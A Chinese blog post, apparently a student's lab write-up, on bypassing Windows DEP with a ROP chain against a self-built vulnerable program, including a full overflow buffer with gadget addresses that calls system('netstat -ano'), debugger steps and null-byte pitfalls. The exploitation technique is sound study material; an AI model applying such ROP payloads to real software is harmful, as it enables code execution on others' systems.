利用 ROP 技术绕过 DEP 保护的一次简单尝试
\x 01 前言
- DEP是数据执行保护的英文缩写,全称为Data Execution Prevention。数据执行保护(DEP) 是一套软硬件技术,能够在内存上执行额外检查以帮助防止在系统上运行恶意代码,在 Microsoft Windows XP ServicePack 2及以上版本的Windows中,由硬件和软件一起强制实施DEP(这个技术还是比较老的了)。自从这个技术出现以来也出现了各种各样的方法来绕过,主要的方法为构造ROP链来绕过
- 下面是百度学术上找的文章,资料太少了,主要的意思就是利用程序或者动态链接库中原有的代码(地址不变)拼凑出完整的攻击逻辑,对汇编要求较高

- 以下为ROP的主要构造方法,前两个函数的资料不好找(函数不会用),所以选最后一个,当然最后一个也进行了阉割…

\x 02 实验环境
- C-Free + Windows10 + OD
\x 03 DEP开启与关闭
- 右击我的电脑–>属性



- 如图设置完成重启之后除了1.exe其他可执行程序都会受到DEP的保护

- 在有DEP保护的程序中会出现这样的情况,首先到达函数返回点

- 返回地址为溢出覆盖的0x7FFA4512(JMP ESP)

- 单步执行一步之后到达 jmp esp,之后只需要跳到shellcode即可

- 单步执行一步,这是系统会判断 jmp 进了数据段,不可以在数据段执行代码,终止程序


\x04 示例程序
- 由于我水平低,只能弄个简单的程序,这个程序加载了一个dll(动态链接库),用于拼凑方便

- 怎么判断是否绕过了DEP呢,我将用ROP编程的方式调用system函数(简单的函数,只需要一个参数),该参数为netstat -ano
- 具体思路如下:在高位地址寻找一块空闲的区域->将参数赋值到这个空闲的区域->调用system函数
- 思路有了那么就需要在动态链接库或者程序里面找现有的语句开始拼凑了,你别说还真找到了3处有用的



- 利用 eax 和 ecx 两个操作数将参数 netstat -ano 通过 mov 语句复制到一块空闲的内存中去,最后调用函数即可,于是生成了以下的shellcode(不同的操作系统能找出的空闲地址可能不一样)
char shellcode[] = "\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41" // 溢出载荷
"\x5a\x20\x50\x74" // retn 到 0x7450205a(覆盖函数返回值的地址),开始ROP编程
"\x84\x5c\x51\x74" // 将 0x74515c84 这个值 pop 到 eax 保存
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x4b\x7b\x50\x74" // retn 到 0x74507b4b 这个地址
"\x6e\x65\x74\x73" // 将 0x7374656e(nets) 这个值 pop 到 ecx 保存
"\x71\x20\x50\x74" // retn 到 0x74502071 这个地址,之后会将 ecx 的值赋到 eax 表示的地址(xor eax,eax这个语句没什么影响可以忽略)
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x5a\x20\x50\x74" // retn 到 0x7450205a 这个地址
"\x88\x5c\x51\x74" // 将 0x74515c88 这个值 pop 到 eax 保存
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x4b\x7b\x50\x74" // retn 到 0x74507b4b 这个地址
"\x74\x61\x74\x20" // 将 0x74617420(tat空格) 这个值 pop 到 ecx 保存
"\x71\x20\x50\x74" // retn 到 0x74502071 这个地址,之后会将 ecx 的值赋到 eax 表示的地址(xor eax,eax这个语句没什么影响可以忽略)
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x5a\x20\x50\x74" // retn 到 0x7450205a 这个地址
"\x8c\x5c\x51\x74" // 将 0x74515c8c 这个值 pop 到 eax 保存
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x4b\x7b\x50\x74" // retn 到 0x74507b4b 这个地址
"\x2d\x61\x6e\x6f" // 将 0x6f6e612d(-ano) 这个值 pop 到 ecx 保存
"\x71\x20\x50\x74" // retn 到 0x74502071 这个地址,之后会将 ecx 的值赋到 eax 表示的地址(xor eax,eax这个语句没什么影响可以忽略)
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x10\x3b\x4a\x74" // 参数 netstat -ano 的首地址,用于 system 函数的参数
"\x41\x41\x41\x41" // 用于维持函数调用的堆栈平衡,因为函数有参数,这个为一个参数,所以只需要4个字节
"\x84\x5c\x51\x74" // system 函数的地址 0x74515c84
- 逻辑图

\x 05 验证程序
- 示例程序

- 函数到了溢出点

- 此时的堆栈窗口

- 之后函数返回到0x7450205a

- 再返回到0x74507b4b

- 之后返回到0x74502071

- 观察数据窗口,参数是以4个字节连3次压入的

- 重复3次以上过程,观察数据窗口,发现system函数的参数已经赋值完毕(字符串以16进制00结尾)

- 最后调用system函数

- 堆栈窗口如下图所示,0x744a3b10 是 system 函数的地址,0x74515c84 是参数 netstat -ano 的首地址

- 成功进入 system 函数

- 验证结束,F9运行,成功运行并打印

\x 06 总结
- 在编写 shellcode 是比较容易踩的几个坑,第一个通过strcpy复制的 shellcode 中最好不要出现16进制的00,不然会被当作终止符,比如一个 shellcode:
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x00\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
- 当出现 00 字符后,00 后面的 shellcode 就不会被复制到堆栈当中,就会变成以下这个样子,原因是 strcpy 碰到 00 后就不往下复制了
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x00\x41
- 还有一个就是 retn 返回到某一个函数调用是,ESP 会加 4 个字节,要把这 4 个字节平衡掉
利用 ROP 技术绕过 DEP 保护的一次简单尝试的更多相关文章
- JDBC 利用反射技术将查询结果封装为对象(简单ORM实现)
ORM(Object Relational Mapping)对象关系映射 public class ORMTest { public static void main(String[] args) t ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数
1. DEP内存保护机制 1.1 DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...
- Rop实战之利用VirtualProtect绕过DEP
CVE-2011-0065 Firefox mChannel UAF漏洞 为了实现任意代码执行,需要在mChannel对象释放后,用可控数据“占坑”填充它,因此,可在onChannelRedirect ...
- safeseh+dep保护绕过
[文章作者] :h_one [漏洞程序名称]:mplayer.exe [漏洞类型] :缓冲区溢出 [保护方式] :safeseh+dep [操作平台] ...
- Linux下利用Ret2Libc绕过DEP
Linux下利用Ret2Libc绕过DEP ⑴. 原理分析: 系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以 ...
- 使用ROP攻击绕过Windows的DEP
使用ROP攻击绕过Windows的DEP 基础知识 DEP DEP(Data Execution Prevention)意为数据执行保护,是Windows的一项安全机制,主要能够在内存上执行额外检查以 ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数
利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴. 原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...
- Linux pwn入门教程(3)——ROP技术
作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42530-1-1.html 0×00 背景 在上一篇教程的<shellco ...
- windows环境下的heap spray+stack pivot gadget 实现绕过dep
ASLR+DEP是windows平台下最为常见的两种保护手段.这两种手段使得最基础的jmp esp等手法不再适用,而单纯的堆喷也会因为堆内存不可执行而失效.那么这里就来介绍一下heap spray+s ...
随机推荐
- JavaEE---JDBC技术
JDBC:java连接数据库(任意数据库)的技术JDBC是java为我们预先写好的操作数据库的一系列接口和类 主流的关系型数据库 中小型数据库(mysql sqlserver) 大型数据库(oracl ...
- Idea 报错 xxxx too long
问题:写单元测试,debug时,报错如下图 解决方法1: 在项目/.idea/workspace.xml文件中添加一行代码如下 <component name="PropertiesC ...
- FreeBSD jail 折腾记(二)
FreeBSD jail 折腾记(二) 创建jail目录 创建4个 分别是模板 骨架 数据 项目 创建模板目录 mkdir -p /jail/j1 # 然后放入基本目录,上篇说过不再写 创建骨架目录 ...
- 关于Java中Collections.sort和Arrays.sort的稳定性问题
一 问题的提出 关于Java中Collections.sort和Arrays.sort的使用,需要注意的是,在本文中,比较的只有Collections.sort(List<T> ele ...
- Java之常用API
API概述 什么是API API (Application Programming Interface) :应用程序编程接口 java中的API 指的就是 JDK 中提供的各种功能的 Java类,这些 ...
- Java中的集合Set - 入门篇
前言 大家好啊,我是汤圆,今天给大家带来的是<Java中的集合Set - 入门篇>,希望对大家有帮助,谢谢 简介 前面介绍了集合List,映射Map,最后再简单介绍下集合Set,相关类如下 ...
- Python | random 模块:Python 中如何生成随机数和随机抽样?
random 是平时开发过程中常用的一个模块,该模块实现了各种分布的伪随机数生成器,以及和随机数相关的各种实用函数.基本函数 random() 在区间 [0.0, 1.0) 内均匀生成随机浮点数,是模 ...
- redis常用数据类型对应的数据结构
redis的数据类型都是通过多种数据结构来实现,主要是出于时间和空间的考虑,当数据量小的时候通过数组下标访问最快,占用内存最小[压缩列表是数组的变种,允许存储的数据大小不同] 因为数组需要占用连续的内 ...
- 《构建之法》& CI/CD调研
项目 内容 这个作业属于哪个课程 2021春季软件工程(罗杰 任健) 这个作业的要求在哪里 2021年软工-个人阅读作业2 我在这个课程的目标是 提升软件开发能力与团队意识 这个作业在哪个具体方面帮助 ...
- upload-labs通关历程
使用靶场前,先配置php版本为5.2,和下列对应配置. php.ini magic_quotes_gpc Off php<5.3.4 httpd.conf AddType applicatio ...